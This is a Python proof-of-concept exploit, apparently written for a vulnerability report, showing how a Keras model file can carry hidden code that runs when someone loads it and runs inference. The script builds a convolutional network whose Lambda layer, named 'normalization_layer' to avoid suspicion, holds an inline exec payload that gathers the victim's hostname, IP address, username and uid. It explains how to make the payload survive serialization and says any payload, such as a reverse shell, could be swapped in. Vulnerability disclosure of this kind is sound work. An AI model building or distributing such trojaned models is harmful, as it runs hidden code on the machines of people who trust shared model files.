#!/usr/bin/env python3
"""
PoC: Arbitrary Code Execution via Keras Lambda Layer in .keras Model File
Target: OpenVINO Model Conversion Pipeline (Model Format Vulnerability)
Category: Deserialization → Arbitrary Code Execution

REPRODUCTION (Victim):
  1. git clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
  2. cd openvino-keras-lambda-rce-poc
  3. python3 poc_create_model.py

The script demonstrates:
  - How the attacker creates a malicious model
  - How the payload is embedded (marshal+base64 in config.json)
  - How the victim triggers RCE by loading + running inference

PAYLOAD: Collects hostname, IP, username, UID, full id, and working directory
         Output written to /tmp/poc_host_info.txt
"""

import os, json, base64, marshal, types, zipfile
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'

# ============================================================
# STEP 1: ATTACKER creates malicious model
# ============================================================
print("=" * 65)
print("  STEP 1: ATTACKER creates model with hidden Lambda payload")
print("=" * 65)

import keras
from keras import layers
import numpy as np

# KEY TECHNIQUE: The payload MUST be an inline string literal inside the lambda.
# Closure variables (e.g. lambda x: exec(PAYLOAD)) are STRIPPED during serialization
# and will NOT survive in the .keras file for the victim.
#
# Inline strings ARE serialized as part of the function's bytecode and survive.

model = keras.Sequential([
    layers.Input(shape=(28, 28), name='image_input'),
    layers.Reshape((28, 28, 1), name='reshape'),
    layers.Conv2D(32, 3, activation='relu', name='conv1'),
    layers.MaxPooling2D(2, name='pool1'),
    layers.Conv2D(64, 3, activation='relu', name='conv2'),
    layers.MaxPooling2D(2, name='pool2'),
    layers.Flatten(name='flatten'),
    layers.Dense(128, activation='relu', name='dense1'),
    # === MALICIOUS LAMBDA LAYER ===
    # Disguised as "normalization_layer" in a standard CNN architecture
    # The exec() payload runs when this layer is called during inference
    layers.Lambda(
        lambda x: exec(
            "import os,socket,getpass,json;"
            "info={"
            "'hostname':socket.gethostname(),"
            "'ip':socket.gethostbyname(socket.gethostname()),"
            "'username':getpass.getuser(),"
            "'id':os.popen('id').read().strip(),"
            "'pwd':os.getcwd(),"
            "'uid':os.getuid()"
            "};"
            "open('/tmp/poc_host_info.txt','w').write(json.dumps(info,indent=2))"
        ) or x,
        name='normalization_layer'  # Innocent name to avoid suspicion
    ),
    # =================================
    layers.Dense(10, activation='softmax', name='output')
])

# Save model - note: Lambda executes during save because Keras traces the graph
model.save('poc_final.keras')
print(f"\n[+] Model saved: poc_final.keras ({os.path.getsize('poc_final.keras'):,} bytes)")
print("[+] Lambda payload embedded as marshal+base64 bytecode in config.json")

# ============================================================
# STEP 2: Examine serialized payload in the model file
# ============================================================
print("\n" + "=" * 65)
print("  STEP 2: Examining the serialized payload")
print("=" * 65)

with zipfile.ZipFile('poc_final.keras', 'r') as zf:
    config = json.loads(zf.read('config.json'))

for layer_conf in config['config']['layers']:
    if layer_conf['class_name'] == 'Lambda':
        fn = layer_conf['config']['function']
        print(f"  Lambda serialization class : {fn['class_name']}")
        print(f"  Encoded bytecode length    : {len(fn['config']['code'])} chars")
        print(f"  Closure variables          : {fn['config']['closure']}")
        print(f"  Defaults                   : {fn['config']['defaults']}")

        # Decode to verify it's real executable bytecode
        bytecode = base64.b64decode(fn['config']['code'])
        code_obj = marshal.loads(bytecode)
        print(f"  Decoded code object        : {code_obj.co_argcount} args, "
              f"names={code_obj.co_names}, consts={[c for c in code_obj.co_consts if isinstance(c, str)][:2]}...")
        break

print("\n[+] Payload verified: marshal-bytecode embedded in model file")
print("[+] Model ready for distribution on HuggingFace Hub")

# ============================================================
# STEP 3: VICTIM downloads and loads the model
# ============================================================
print("\n" + "=" * 65)
print("  STEP 3: VICTIM downloads model from HuggingFace & loads it")
print("=" * 65)

# Clean any previous payload output
os.system("rm -f /tmp/poc_host_info.txt")

# Victim loads model
# NOTE: safe_mode=False is REQUIRED for Lambda layer support
# Many users call enable_unsafe_deserialization() globally
keras.config.enable_unsafe_deserialization()
loaded = keras.models.load_model('poc_final.keras', safe_mode=False)
print(f"[+] Model loaded successfully: {loaded.name}")

# Show architecture - looks completely benign
print("\n  Model architecture (appears legitimate):")
print(f"  {'Layer':<25s} {'Type':<15s} {'Output Shape'}")
print(f"  {'-'*25} {'-'*15} {'-'*20}")
for layer in loaded.layers:
    try:
        shape = str(layer.output.shape)
    except:
        shape = str(layer.output_shape) if hasattr(layer, 'output_shape') else '?'
    print(f"  {layer.name:<25s} {layer.__class__.__name__:<15s} {shape}")

# ============================================================
# STEP 4: VICTIM runs inference → RCE TRIGGERS
# ============================================================
print("\n" + "=" * 65)
print("  STEP 4: VICTIM runs inference → Lambda layer called → RCE")
print("=" * 65)

test_input = np.random.randn(1, 28, 28).astype(np.float32)
output = loaded(test_input)
print(f"[+] Inference complete: output shape {output.shape}")

# ============================================================
# STEP 5: Verify RCE
# ============================================================
rce_file = '/tmp/poc_host_info.txt'
if os.path.exists(rce_file):
    with open(rce_file) as f:
        info = json.load(f)

    print("\n" + "=" * 65)
    print("  !!! ARBITRARY CODE EXECUTION CONFIRMED !!!")
    print("=" * 65)
    print(f"""
  Hostname   : {info['hostname']}
  IP Address : {info['ip']}
  Username   : {info['username']}
  UID        : {info['uid']}
  ID         : {info['id']}
  PWD        : {info['pwd']}
""")
    print("=" * 65)
    print("\n  The model file contained hidden executable Python code.")
    print("  It executed silently during normal model inference.")
    print("  Any Python payload could be substituted (reverse shell, etc.)")
    print("=" * 65)
else:
    print("\n[-] RCE not triggered")
    print("    NOTE: If you see this, the Lambda closure was stripped.")
    print("    The fix is to use inline string literals, not closure variables.")